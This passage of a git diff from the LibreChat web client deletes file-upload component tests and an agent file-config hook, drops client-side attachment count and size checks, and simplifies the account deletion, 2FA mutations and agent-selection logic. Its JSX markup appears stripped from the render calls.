- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- render(
-
-
- ,
- );
- expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
- });
-
- it('returns null when file config is disabled for provider', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
- });
- const { container } = render(
-
-
- ,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('returns null when agents endpoint config is disabled and no provider config', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
- });
- const { container } = render(
-
-
- ,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe('Moonshot');
- expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
- });
-
- it('falls back to agents for endpointOverride when no provider', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe(EModelEndpoint.agents);
- expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
- });
-
- it('falls back to agents for endpointOverride when provider is empty string', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe(EModelEndpoint.agents);
- });
-
- it('renders when provider has no specific config and agents config is enabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.agents]: { fileLimit: 20 },
- default: { fileLimit: 10 },
- },
- });
- render(
-
-
- ,
- );
- expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
- });
-});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
deleted file mode 100644
index f99d71d2b7..0000000000
--- a/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
+++ /dev/null
@@ -1,151 +0,0 @@
-import React from 'react';
-import { render, screen } from '@testing-library/react';
-import { useForm, FormProvider } from 'react-hook-form';
-import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
-import type { TEndpointsConfig } from 'librechat-data-provider';
-import type { AgentForm } from '~/common';
-import FileContext from '../FileContext';
-
-const mockEndpointsConfig: TEndpointsConfig = {
- [EModelEndpoint.agents]: { userProvide: false, order: 1 },
- Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
-};
-
-let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
-
-jest.mock('~/data-provider', () => ({
- useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
- useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
- data: select != null ? select(mockFileConfig) : mockFileConfig,
- }),
- useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
-}));
-
-jest.mock('~/hooks', () => ({
- useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
- useLocalize: () => (key: string) => key,
- useLazyEffect: () => {},
-}));
-
-const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
- handleFileChange: jest.fn(),
-});
-
-jest.mock('~/hooks/Files/useFileHandling', () => ({
- useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
-}));
-
-jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
- useSharePointFileHandlingNoChatContext: () => ({
- handleSharePointFiles: jest.fn(),
- isProcessing: false,
- downloadProgress: 0,
- }),
-}));
-
-jest.mock('~/components/SharePoint', () => ({
- SharePointPickerDialog: () => null,
-}));
-
-jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
-
-jest.mock('@ariakit/react', () => ({
- MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
- {children}
- ),
-}));
-
-jest.mock('@librechat/client', () => ({
- HoverCard: ({ children }: { children: React.ReactNode }) => {children}
,
- DropdownPopup: () => null,
- AttachmentIcon: () => ,
- CircleHelpIcon: () => ,
- SharePointIcon: () => ,
- HoverCardPortal: ({ children }: { children: React.ReactNode }) => {children}
,
- HoverCardContent: ({ children }: { children: React.ReactNode }) => {children}
,
- HoverCardTrigger: ({ children }: { children: React.ReactNode }) => {children}
,
-}));
-
-function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
- const methods = useForm({
- defaultValues: { provider: provider as AgentForm['provider'] },
- });
- return {children} ;
-}
-
-describe('FileContext', () => {
- it('renders upload UI when file uploads are not disabled', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- render(
-
-
- ,
- );
- expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
- });
-
- it('returns null when file config is disabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
- });
- const { container } = render(
-
-
- ,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('returns null when agents endpoint config is disabled and provider has no specific config', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
- });
- const { container } = render(
-
-
- ,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe('Moonshot');
- expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
- });
-
- it('falls back to agents for endpointOverride when no provider', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe(EModelEndpoint.agents);
- expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
- });
-
- it('renders when provider has no specific config and agents config is enabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.agents]: { fileLimit: 20 },
- default: { fileLimit: 10 },
- },
- });
- render(
-
-
- ,
- );
- expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
- });
-});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
deleted file mode 100644
index 003388f5d8..0000000000
--- a/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
+++ /dev/null
@@ -1,147 +0,0 @@
-import React from 'react';
-import { render, screen } from '@testing-library/react';
-import { useForm, FormProvider } from 'react-hook-form';
-import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
-import type { TEndpointsConfig } from 'librechat-data-provider';
-import type { AgentForm } from '~/common';
-import FileSearch from '../FileSearch';
-
-const mockEndpointsConfig: TEndpointsConfig = {
- [EModelEndpoint.agents]: { userProvide: false, order: 1 },
- Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
-};
-
-let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
-
-jest.mock('~/data-provider', () => ({
- useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
- useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
- data: select != null ? select(mockFileConfig) : mockFileConfig,
- }),
- useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
-}));
-
-jest.mock('~/hooks', () => ({
- useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
- useLocalize: () => (key: string) => key,
- useLazyEffect: () => {},
-}));
-
-const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
- handleFileChange: jest.fn(),
-});
-
-jest.mock('~/hooks/Files/useFileHandling', () => ({
- useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
-}));
-
-jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
- useSharePointFileHandlingNoChatContext: () => ({
- handleSharePointFiles: jest.fn(),
- isProcessing: false,
- downloadProgress: 0,
- }),
-}));
-
-jest.mock('~/components/SharePoint', () => ({
- SharePointPickerDialog: () => null,
-}));
-
-jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
-jest.mock('../FileSearchCheckbox', () => () => null);
-
-jest.mock('@ariakit/react', () => ({
- MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
- {children}
- ),
-}));
-
-jest.mock('@librechat/client', () => ({
- SharePointIcon: () => ,
- AttachmentIcon: () => ,
- DropdownPopup: () => null,
-}));
-
-function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
- const methods = useForm({
- defaultValues: { provider: provider as AgentForm['provider'] },
- });
- return {children} ;
-}
-
-describe('FileSearch', () => {
- it('renders upload UI when file uploads are not disabled', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- render(
-
-
- ,
- );
- expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
- });
-
- it('returns null when file config is disabled for provider', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
- });
- const { container } = render(
-
-
- ,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('returns null when agents endpoint config is disabled and no provider config', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
- });
- const { container } = render(
-
-
- ,
- );
- expect(container.innerHTML).toBe('');
- });
-
- it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe('Moonshot');
- expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
- });
-
- it('falls back to agents for endpointOverride when no provider', () => {
- mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
- mockUseFileHandlingNoChatContext.mockClear();
- render(
-
-
- ,
- );
- const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
- expect(params.endpointOverride).toBe(EModelEndpoint.agents);
- expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
- });
-
- it('renders when provider has no specific config and agents config is enabled', () => {
- mockFileConfig = mergeFileConfig({
- endpoints: {
- [EModelEndpoint.agents]: { fileLimit: 20 },
- default: { fileLimit: 10 },
- },
- });
- render(
-
-
- ,
- );
- expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
- });
-});
diff --git a/client/src/components/SidePanel/Files/PanelTable.tsx b/client/src/components/SidePanel/Files/PanelTable.tsx
index e67e16abdd..2fc8f7031b 100644
--- a/client/src/components/SidePanel/Files/PanelTable.tsx
+++ b/client/src/components/SidePanel/Files/PanelTable.tsx
@@ -24,14 +24,14 @@ import {
type ColumnFiltersState,
} from '@tanstack/react-table';
import {
- megabyte,
- mergeFileConfig,
+ fileConfig as defaultFileConfig,
checkOpenAIStorage,
+ mergeFileConfig,
+ megabyte,
isAssistantsEndpoint,
getEndpointFileConfig,
- fileConfig as defaultFileConfig,
+ type TFile,
} from 'librechat-data-provider';
-import type { TFile } from 'librechat-data-provider';
import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal';
import { useFileMapContext, useChatContext } from '~/Providers';
import { useLocalize, useUpdateFiles } from '~/hooks';
@@ -86,7 +86,7 @@ export default function DataTable({ columns, data }: DataTablePro
const fileMap = useFileMapContext();
const { showToast } = useToastContext();
- const { files, setFiles, conversation } = useChatContext();
+ const { setFiles, conversation } = useChatContext();
const { data: fileConfig = null } = useGetFileConfig({
select: (data) => mergeFileConfig(data),
});
@@ -142,15 +142,7 @@ export default function DataTable({ columns, data }: DataTablePro
return;
}
- if (endpointFileConfig.fileLimit && files.size >= endpointFileConfig.fileLimit) {
- showToast({
- message: `${localize('com_ui_attach_error_limit')} ${endpointFileConfig.fileLimit} files (${endpoint})`,
- status: 'error',
- });
- return;
- }
-
- if (fileData.bytes >= (endpointFileConfig.fileSizeLimit ?? Number.MAX_SAFE_INTEGER)) {
+ if (fileData.bytes > (endpointFileConfig.fileSizeLimit ?? Number.MAX_SAFE_INTEGER)) {
showToast({
message: `${localize('com_ui_attach_error_size')} ${
(endpointFileConfig.fileSizeLimit ?? 0) / megabyte
@@ -168,22 +160,6 @@ export default function DataTable({ columns, data }: DataTablePro
return;
}
- if (endpointFileConfig.totalSizeLimit) {
- const existing = files.get(fileData.file_id);
- let currentTotalSize = 0;
- for (const f of files.values()) {
- currentTotalSize += f.size;
- }
- currentTotalSize -= existing?.size ?? 0;
- if (currentTotalSize + fileData.bytes > endpointFileConfig.totalSizeLimit) {
- showToast({
- message: `${localize('com_ui_attach_error_total_size')} ${endpointFileConfig.totalSizeLimit / megabyte} MB (${endpoint})`,
- status: 'error',
- });
- return;
- }
- }
-
addFile({
progress: 1,
attached: true,
@@ -199,7 +175,7 @@ export default function DataTable({ columns, data }: DataTablePro
metadata: fileData.metadata,
});
},
- [addFile, files, fileMap, conversation, localize, showToast, fileConfig],
+ [addFile, fileMap, conversation, localize, showToast, fileConfig],
);
const filenameFilter = table.getColumn('filename')?.getFilterValue() as string;
diff --git a/client/src/components/SidePanel/Files/__tests__/PanelTable.spec.tsx b/client/src/components/SidePanel/Files/__tests__/PanelTable.spec.tsx
deleted file mode 100644
index 2639d3c100..0000000000
--- a/client/src/components/SidePanel/Files/__tests__/PanelTable.spec.tsx
+++ /dev/null
@@ -1,239 +0,0 @@
-import React from 'react';
-import { render, screen, fireEvent } from '@testing-library/react';
-import { FileSources } from 'librechat-data-provider';
-import type { TFile } from 'librechat-data-provider';
-import type { ExtendedFile } from '~/common';
-import DataTable from '../PanelTable';
-import { columns } from '../PanelColumns';
-
-const mockShowToast = jest.fn();
-const mockAddFile = jest.fn();
-
-let mockFileMap: Record = {};
-let mockFiles: Map = new Map();
-let mockConversation: Record | null = { endpoint: 'openAI' };
-let mockRawFileConfig: Record | null = {
- endpoints: {
- openAI: { fileLimit: 10, supportedMimeTypes: ['application/pdf', 'text/plain'] },
- },
-};
-
-jest.mock('@librechat/client', () => ({
- Table: ({ children, ...props }: { children: React.ReactNode }) => (
-
- ),
- Button: ({
- children,
- ...props
- }: { children: React.ReactNode } & React.ButtonHTMLAttributes) => (
- {children}
- ),
- TableRow: ({ children, ...props }: { children: React.ReactNode }) => (
- {children}
- ),
- TableHead: ({ children, ...props }: { children: React.ReactNode }) => (
- {children}
- ),
- TableBody: ({ children, ...props }: { children: React.ReactNode }) => (
- {children}
- ),
- TableCell: ({
- children,
- ...props
- }: { children: React.ReactNode } & React.TdHTMLAttributes) => (
- {children}
- ),
- FilterInput: () => ,
- TableHeader: ({ children, ...props }: { children: React.ReactNode }) => (
- {children}
- ),
- useToastContext: () => ({ showToast: mockShowToast }),
-}));
-
-jest.mock('~/Providers', () => ({
- useFileMapContext: () => mockFileMap,
- useChatContext: () => ({
- files: mockFiles,
- setFiles: jest.fn(),
- conversation: mockConversation,
- }),
-}));
-
-jest.mock('~/hooks', () => ({
- useLocalize: () => (key: string) => key,
- useUpdateFiles: () => ({ addFile: mockAddFile }),
-}));
-
-jest.mock('~/data-provider', () => ({
- useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
- data: select != null ? select(mockRawFileConfig) : mockRawFileConfig,
- }),
-}));
-
-jest.mock('~/components/Chat/Input/Files/MyFilesModal', () => ({
- MyFilesModal: () => null,
-}));
-
-jest.mock('../PanelFileCell', () => ({ row }: { row: { original: TFile } }) => (
- {row.original?.filename}
-));
-
-function makeFile(overrides: Partial = {}): TFile {
- return {
- user: 'user-1',
- file_id: 'file-1',
- bytes: 1024,
- embedded: false,
- filename: 'test.pdf',
- filepath: '/files/test.pdf',
- object: 'file',
- type: 'application/pdf',
- usage: 0,
- source: FileSources.local,
- ...overrides,
- };
-}
-
-function makeExtendedFile(overrides: Partial = {}): ExtendedFile {
- return {
- file_id: 'ext-1',
- size: 1024,
- progress: 1,
- source: FileSources.local,
- ...overrides,
- };
-}
-
-function renderTable(data: TFile[]) {
- return render( );
-}
-
-function clickFilenameCell() {
- const cells = screen.getAllByRole('button');
- const filenameCell = cells.find(
- (cell) => cell.tagName === 'TD' && cell.textContent && !cell.textContent.includes('com_ui_'),
- );
- if (!filenameCell) {
- throw new Error('Could not find filename cell with role="button" — check mock setup');
- }
- fireEvent.click(filenameCell);
- return filenameCell;
-}
-
-describe('PanelTable handleFileClick', () => {
- beforeEach(() => {
- mockShowToast.mockClear();
- mockAddFile.mockClear();
- mockFiles = new Map();
- mockConversation = { endpoint: 'openAI' };
- mockRawFileConfig = {
- endpoints: {
- openAI: {
- fileLimit: 5,
- totalSizeLimit: 10,
- supportedMimeTypes: ['application/pdf', 'text/plain'],
- },
- },
- };
- });
-
- it('calls addFile when within file limits', () => {
- const file = makeFile();
- mockFileMap = { [file.file_id]: file };
-
- renderTable([file]);
- clickFilenameCell();
-
- expect(mockAddFile).toHaveBeenCalledTimes(1);
- expect(mockAddFile).toHaveBeenCalledWith(
- expect.objectContaining({
- file_id: file.file_id,
- attached: true,
- progress: 1,
- }),
- );
- expect(mockShowToast).not.toHaveBeenCalledWith(expect.objectContaining({ status: 'error' }));
- });
-
- it('blocks attachment when fileLimit is reached', () => {
- const file = makeFile({ file_id: 'new-file', filename: 'new.pdf' });
- mockFileMap = { [file.file_id]: file };
-
- mockFiles = new Map(
- Array.from({ length: 5 }, (_, i) => [
- `existing-${i}`,
- makeExtendedFile({ file_id: `existing-${i}` }),
- ]),
- );
-
- renderTable([file]);
- clickFilenameCell();
-
- expect(mockAddFile).not.toHaveBeenCalled();
- expect(mockShowToast).toHaveBeenCalledWith(
- expect.objectContaining({
- message: expect.stringContaining('com_ui_attach_error_limit'),
- status: 'error',
- }),
- );
- });
-
- it('blocks attachment when totalSizeLimit would be exceeded', () => {
- const MB = 1024 * 1024;
- const largeFile = makeFile({ file_id: 'large-file', bytes: 6 * MB });
- mockFileMap = { [largeFile.file_id]: largeFile };
-
- mockFiles = new Map([
- ['existing-1', makeExtendedFile({ file_id: 'existing-1', size: 5 * MB })],
- ]);
-
- renderTable([largeFile]);
- clickFilenameCell();
-
- expect(mockAddFile).not.toHaveBeenCalled();
- expect(mockShowToast).toHaveBeenCalledWith(
- expect.objectContaining({
- message: expect.stringContaining('com_ui_attach_error_total_size'),
- status: 'error',
- }),
- );
- });
-
- it('does not double-count size of already-attached file', () => {
- const MB = 1024 * 1024;
- const file = makeFile({ file_id: 'reattach', bytes: 5 * MB });
- mockFileMap = { [file.file_id]: file };
-
- mockFiles = new Map([
- ['reattach', makeExtendedFile({ file_id: 'reattach', size: 5 * MB })],
- ['other', makeExtendedFile({ file_id: 'other', size: 4 * MB })],
- ]);
-
- renderTable([file]);
- clickFilenameCell();
-
- expect(mockAddFile).toHaveBeenCalledTimes(1);
- expect(mockShowToast).not.toHaveBeenCalledWith(
- expect.objectContaining({
- message: expect.stringContaining('com_ui_attach_error_total_size'),
- }),
- );
- });
-
- it('allows attachment when just under fileLimit', () => {
- const file = makeFile({ file_id: 'under-limit' });
- mockFileMap = { [file.file_id]: file };
-
- mockFiles = new Map(
- Array.from({ length: 4 }, (_, i) => [
- `existing-${i}`,
- makeExtendedFile({ file_id: `existing-${i}` }),
- ]),
- );
-
- renderTable([file]);
- clickFilenameCell();
-
- expect(mockAddFile).toHaveBeenCalledTimes(1);
- });
-});
diff --git a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
index 2cf509cd2c..cc668cb61a 100644
--- a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
+++ b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
@@ -1,6 +1,3 @@
-/**
- * @jest-environment @happy-dom/jest-environment
- */
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
import '@testing-library/jest-dom';
@@ -14,6 +11,15 @@ const ThrowError = ({ shouldThrow }: { shouldThrow: boolean }) => {
return {'Normal component'}
;
};
+// Mock window.location.reload
+const mockReload = jest.fn();
+Object.defineProperty(window, 'location', {
+ value: {
+ reload: mockReload,
+ },
+ writable: true,
+});
+
describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
beforeEach(() => {
jest.clearAllMocks();
@@ -47,8 +53,6 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
});
it('should reload page when refresh button is clicked', () => {
- const reloadSpy = jest.spyOn(window.location, 'reload').mockImplementation(() => {});
-
render(
@@ -58,6 +62,6 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
const refreshButton = screen.getByRole('button', { name: 'Reload the page' });
fireEvent.click(refreshButton);
- expect(reloadSpy).toHaveBeenCalled();
+ expect(mockReload).toHaveBeenCalled();
});
});
diff --git a/client/src/data-provider/Auth/mutations.ts b/client/src/data-provider/Auth/mutations.ts
index 9930e42b4f..298ddd9b64 100644
--- a/client/src/data-provider/Auth/mutations.ts
+++ b/client/src/data-provider/Auth/mutations.ts
@@ -68,14 +68,14 @@ export const useRefreshTokenMutation = (
/* User */
export const useDeleteUserMutation = (
- options?: t.MutationOptions,
-): UseMutationResult => {
+ options?: t.MutationOptions,
+): UseMutationResult => {
const queryClient = useQueryClient();
const clearStates = useClearStates();
const resetDefaultPreset = useResetRecoilState(store.defaultPreset);
return useMutation([MutationKeys.deleteUser], {
- mutationFn: (payload?: t.TDeleteUserRequest) => dataService.deleteUser(payload),
+ mutationFn: () => dataService.deleteUser(),
...(options || {}),
onSuccess: (...args) => {
resetDefaultPreset();
@@ -90,11 +90,11 @@ export const useDeleteUserMutation = (
export const useEnableTwoFactorMutation = (): UseMutationResult<
t.TEnable2FAResponse,
unknown,
- t.TEnable2FARequest | undefined,
+ void,
unknown
> => {
const queryClient = useQueryClient();
- return useMutation((payload?: t.TEnable2FARequest) => dataService.enableTwoFactor(payload), {
+ return useMutation(() => dataService.enableTwoFactor(), {
onSuccess: (data) => {
queryClient.setQueryData([QueryKeys.user, '2fa'], data);
},
@@ -146,18 +146,15 @@ export const useDisableTwoFactorMutation = (): UseMutationResult<
export const useRegenerateBackupCodesMutation = (): UseMutationResult<
t.TRegenerateBackupCodesResponse,
unknown,
- t.TRegenerateBackupCodesRequest | undefined,
+ void,
unknown
> => {
const queryClient = useQueryClient();
- return useMutation(
- (payload?: t.TRegenerateBackupCodesRequest) => dataService.regenerateBackupCodes(payload),
- {
- onSuccess: (data) => {
- queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
- },
+ return useMutation(() => dataService.regenerateBackupCodes(), {
+ onSuccess: (data) => {
+ queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
},
- );
+ });
};
export const useVerifyTwoFactorTempMutation = (
diff --git a/client/src/hooks/Agents/index.ts b/client/src/hooks/Agents/index.ts
index a553da24a0..f75d045cc0 100644
--- a/client/src/hooks/Agents/index.ts
+++ b/client/src/hooks/Agents/index.ts
@@ -5,7 +5,6 @@ export type { ProcessedAgentCategory } from './useAgentCategories';
export { default as useAgentCapabilities } from './useAgentCapabilities';
export { default as useGetAgentsConfig } from './useGetAgentsConfig';
export { default as useAgentDefaultPermissionLevel } from './useAgentDefaultPermissionLevel';
-export { default as useAgentFileConfig } from './useAgentFileConfig';
export { default as useAgentToolPermissions } from './useAgentToolPermissions';
export { default as useMCPToolOptions } from './useMCPToolOptions';
export * from './useApplyModelSpecAgents';
diff --git a/client/src/hooks/Agents/useAgentFileConfig.ts b/client/src/hooks/Agents/useAgentFileConfig.ts
deleted file mode 100644
index 7f98f8d575..0000000000
--- a/client/src/hooks/Agents/useAgentFileConfig.ts
+++ /dev/null
@@ -1,36 +0,0 @@
-import { useWatch } from 'react-hook-form';
-import {
- EModelEndpoint,
- mergeFileConfig,
- resolveEndpointType,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
-import type { EndpointFileConfig } from 'librechat-data-provider';
-import type { AgentForm } from '~/common';
-import { useGetFileConfig, useGetEndpointsQuery } from '~/data-provider';
-
-export default function useAgentFileConfig(): {
- endpointType: EModelEndpoint | string | undefined;
- providerValue: string | undefined;
- endpointFileConfig: EndpointFileConfig;
-} {
- const providerOption = useWatch({ name: 'provider' });
- const { data: endpointsConfig } = useGetEndpointsQuery();
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
-
- const providerValue =
- typeof providerOption === 'string'
- ? providerOption
- : (providerOption as { value?: string } | undefined)?.value;
-
- const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, providerValue);
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpointType,
- endpoint: providerValue || EModelEndpoint.agents,
- });
-
- return { endpointType, providerValue, endpointFileConfig };
-}
diff --git a/client/src/hooks/Agents/useSelectAgent.ts b/client/src/hooks/Agents/useSelectAgent.ts
index 30024c8f63..00c2753d93 100644
--- a/client/src/hooks/Agents/useSelectAgent.ts
+++ b/client/src/hooks/Agents/useSelectAgent.ts
@@ -1,29 +1,31 @@
-import { useCallback } from 'react';
+import { useCallback, useState } from 'react';
import { useQueryClient } from '@tanstack/react-query';
import {
Constants,
QueryKeys,
- dataService,
EModelEndpoint,
isAssistantsEndpoint,
} from 'librechat-data-provider';
import type { TConversation, TPreset, Agent } from 'librechat-data-provider';
-import useGetConversation from '~/hooks/Conversations/useGetConversation';
import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
import { useAgentsMapContext } from '~/Providers/AgentsMapContext';
-import useNewConvo from '~/hooks/useNewConvo';
+import { useChatContext } from '~/Providers/ChatContext';
+import { useGetAgentByIdQuery } from '~/data-provider';
import { logger } from '~/utils';
export default function useSelectAgent() {
const queryClient = useQueryClient();
- const agentsMap = useAgentsMapContext();
const getDefaultConversation = useDefaultConvo();
- const { newConversation } = useNewConvo();
- const getConversation = useGetConversation(0);
+ const { conversation, newConversation } = useChatContext();
+ const agentsMap = useAgentsMapContext();
+ const [selectedAgentId, setSelectedAgentId] = useState(
+ conversation?.agent_id ?? null,
+ );
+
+ const agentQuery = useGetAgentByIdQuery(selectedAgentId);
const updateConversation = useCallback(
- async (agent: Partial, template: Partial) => {
- const conversation = await getConversation();
+ (agent: Partial, template: Partial) => {
logger.log('conversation', 'Updating conversation with agent', agent);
if (isAssistantsEndpoint(conversation?.endpoint)) {
newConversation({
@@ -42,7 +44,7 @@ export default function useSelectAgent() {
keepLatestMessage: true,
});
},
- [getConversation, getDefaultConversation, newConversation],
+ [conversation, getDefaultConversation, newConversation],
);
const onSelect = useCallback(
@@ -52,22 +54,30 @@ export default function useSelectAgent() {
return;
}
+ setSelectedAgentId(agent.id);
+
const template: Partial = {
endpoint: EModelEndpoint.agents,
agent_id: agent.id,
conversationId: Constants.NEW_CONVO as string,
};
- await updateConversation({ id: agent.id }, template);
+ updateConversation({ id: agent.id }, template);
+ // Fetch full agent data in the background
try {
- const fullAgent = await queryClient.fetchQuery([QueryKeys.agent, agent.id], () =>
- dataService.getAgentById({
- agent_id: agent.id,
- }),
+ await queryClient.invalidateQueries(
+ {
+ queryKey: [QueryKeys.agent, agent.id],
+ exact: true,
+ refetchType: 'active',
+ },
+ { throwOnError: true },
);
+
+ const { data: fullAgent } = await agentQuery.refetch();
if (fullAgent) {
- await updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
+ updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
}
} catch (error) {
if ((error as { silent: boolean } | undefined)?.silent) {
@@ -75,10 +85,10 @@ export default function useSelectAgent() {
return;
}
console.error('Error fetching full agent data:', error);
- await updateConversation({}, { ...template, agent_id: undefined });
+ updateConversation({}, { ...template, agent_id: undefined });
}
},
- [agentsMap, updateConversation, queryClient],
+ [agentsMap, updateConversation, queryClient, agentQuery],
);
return { onSelect };
diff --git a/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts b/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts
index 5ffd52879f..f9f29e0c56 100644
--- a/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts
+++ b/client/src/hooks/Artifacts/__tests__/useArtifactProps.test.ts
@@ -19,7 +19,7 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
expect(result.current.fileKey).toBe('content.md');
- expect(result.current.template).toBe('static');
+ expect(result.current.template).toBe('react-ts');
});
it('should handle text/plain type with content.md as fileKey', () => {
@@ -31,7 +31,7 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
expect(result.current.fileKey).toBe('content.md');
- expect(result.current.template).toBe('static');
+ expect(result.current.template).toBe('react-ts');
});
it('should include content.md in files with original markdown', () => {
@@ -46,7 +46,7 @@ describe('useArtifactProps', () => {
expect(result.current.files['content.md']).toBe(markdownContent);
});
- it('should include index.html with static markdown rendering', () => {
